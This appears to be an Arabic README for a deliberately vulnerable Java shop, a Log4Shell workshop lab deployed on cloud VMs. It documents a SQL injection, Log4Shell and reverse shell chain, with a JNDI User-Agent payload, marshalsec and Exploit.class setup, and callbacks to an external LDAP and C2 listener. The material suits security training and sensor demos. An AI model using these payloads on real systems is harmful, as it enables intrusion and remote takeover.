
متجر Java مستضاف على VM معرض للثغرات عمدًا — مختبر ورشة عمل Log4Shell (CVE-2021-44228) (EC2 / Azure VM / GCE)
متجر تقليدي / كلاسيكي قابل للاختراق عمدًا لورش العمل الأمنية — يعمل على جهاز افتراضي (VM) (EC2، Azure VM، أو GCP Compute Engine)، وليس حاويات.
القصة الرئيسية: اختراق حاسم للجهاز الافتراضي — حقن SQL ← Log4Shell (CVE-2021-44228) ← شل عكسية إلى C2 خارجي.
[!CAUTION] لا تنشر إلى حسابات الإنتاج. حافظ على الأجهزة الافتراضية مؤقتة ومقيدة الشبكة بمعملك.
يغطي متجر Jay's Surf Shop بيئات التشغيل السحابية الأصلية (ECS / ACA / GKE). يغطي TraditionalJay مسار المضيف / الجهاز الافتراضي:
| Surf Shop | TraditionalJay |
|---|
| الحوسبة | حاويات / بدون خادم | جهاز افتراضي Linux واحد |
| التقنية | Next.js + Python | Spring Boot + Log4j2 |
| الثغرة الرئيسية | Pillow, React2Shell, YAML, … | Log4Shell |
cd app
mvn -DskipTests spring-boot:run
# افتح http://localhost:8080
# معمل الاستغلال: http://localhost:8080/security
يتطلب Java 11+ و Maven.
/search يكشف جدول secrets.2.14.1 إلى المستمع الخاص بك.bash /dev/tcp قصير المدى إلى مستمع C2 الخاص بك.# المستمعات (يمكن الوصول إليها من الجهاز الافتراضي)
python3 tools/ldap-listen.py --port 1389
python3 tools/c2-listen.py --port 4444
# أو افتح http://HOST:8080/security وانقر على تشغيل اختراق الجهاز الافتراضي الحاسم
curl -s -X POST "http://HOST:8080/api/demo/critical-vm-compromise" \
--data-urlencode "ldap_callback=YOUR_IP:1389" \
--data-urlencode "c2_callback=YOUR_IP:4444" | jq .
اختبار فقط (يثبت الاتصال الخارجي بـ LDAP):
python3 tools/ldap-listen.py --port 1389
RCE كامل (خادم LDAP من marshalsec + Exploit.class عن بُعد؛ الجهاز الافتراضي يعمل مع trustURLCodebase=true عن قصد):
./tools/setup-marshalsec.sh
./tools/run-log4shell-ldap.sh --codebase-host YOUR_PUBLIC_IP
ثم افتح /security، واضبط رد الاتصال LDAP على YOUR_PUBLIC_IP:1389، وانقر على تشغيل Log4Shell. عند النجاح، يحصل الجهاز الافتراضي على /tmp/jss-log4shell-rce و /tmp/jss-log4shell-id.txt و bash تفاعلي لمدة ~45 ثانية (PTY عبر script عند توفره) لعروض مستشعرات المضيف.
يمكنك أيضًا ضرب البحث باستخدام User-Agent مُعدّل:
curl -s "http://localhost:8080/search?q=wax" \
-H 'User-Agent: ${jndi:ldap://127.0.0.1:1389/a}' -o /dev/null
مرر بيانات اعتماد Upwind عبر ملف terraform.tfvars المحلي (مدرج في gitignore). يقوم Cloud-init بتصديرها ويقوم scripts/install-vm.sh بتشغيل scripts/install-upwind-sensor.sh.
الذاكرة: يتطلب scanner-v2=true حوالي 7 غيغابايت من ذاكرة الوصول العشوائي الحرة وقت التثبيت (وليس القرص). يستخدم Terraform الافتراضي لـ AWS t3.large (8 غيغابايت) + 40 غيغابايت gp3 للجذر بحيث لا يتم تخطي الماسح الضوئي (Skipping scanner installation, requires 7000000 kB على المثيلات الأصغر).
curl -s https://get.upwind.io/sensor.sh | \
UPWIND_CLIENT_ID=… \
UPWIND_CLIENT_SECRET=… \
UPWIND_AGENT_EXTRA_CONFIG="scanner-v2=true" \
bash -s
مثال على infrastructure/aws/terraform.tfvars في AWS:
upwind_client_id = "…"
upwind_client_secret = "…"
upwind_agent_extra_config = "scanner-v2=true"
إذا كانت بيانات الاعتماد فارغة، فلا يزال التطبيق يُثبت ويتم تخطي خطوة المستشعر.
سير عمل GitHub Actions .github/workflows/build.yml:
v* → إصدار GitHub مع ملف JAR الكاملتفضل الأجهزة الافتراضية أحدث إصدار JAR مسجل عبر scripts/install-vm.sh، وتتراجع إلى بناء Maven محلي إذا لم يكن هناك إصدار بعد. ثم يقوم المثبّت بفك ضغط ملف JAR الكامل تحت /opt/traditionaljay/BOOT-INF/lib/ وتشغيل JarLauncher، بحيث يمكن لنظام SCA للمضيف/بدون وكيل رؤية log4j-core-2.14.1.jar على القرص (تشغيل java -jar app.jar فقط يخفي Log4j داخل ملف مضغوط وغالبًا ما يخفي CVE-2021-44228 من جرد الحزم).
# إنشاء إصدار (يؤدي إلى نشر JAR)
git tag v0.1.0 && git push origin v0.1.0
كل مجلد سحابي هو Terraform مستقل. يقوم التشغيل الأول بتشغيل scripts/install-vm.sh (OpenJDK 11 + JAR الإصدار أو بناء Maven + systemd).
cd infrastructure/aws
terraform init
terraform apply
terraform output application_url
cd infrastructure/azure
terraform init
terraform apply -var="ssh_public_key=$(cat ~/.ssh/id_rsa.pub)"
terraform output application_url
cd infrastructure/gcp
terraform init
terraform apply -var="project_id=YOUR_PROJECT"
terraform output application_url
يستغرق التشغيل الأول بضع دقائق بينما يقوم Maven بالبناء على المثيل. ثم افتح http://PUBLIC_IP:8080/security.
app/ متجر Spring Boot + واجهة /security لـ Log4Shell
tools/ldap-listen.py مستمع LDAP بالشعار فقط (إثبات الاتصال الخارجي)
tools/run-log4shell-ldap.sh خادم LDAP + HTTP للـ RCE الكامل
tools/exploit/Exploit.java حمولة الفئة عن بُعد لـ marshalsec
scripts/install-vm.sh مثبّت الجهاز الافتراضي (Cloud-init / يدوي)
infrastructure/aws|azure|gcp
tools/exploit/Exploit.class لـ Log4Shell RCE حقيقي في صناديق رمل معزولة.-Dcom.sun.jndi.ldap.object.trustURLCodebase=true مقصودة (معطلة افتراضيًا في Java 11+).ldap-listen.py بالشعار فقط لإثبات الاتصال الخارجي بـ LDAP دون تنفيذ كود.0.0.0.0/0 على المنفذين 22/8080 — قم بتضييق نطاقات *_ingress_cidr / المصادر للمختبرات المشتركة.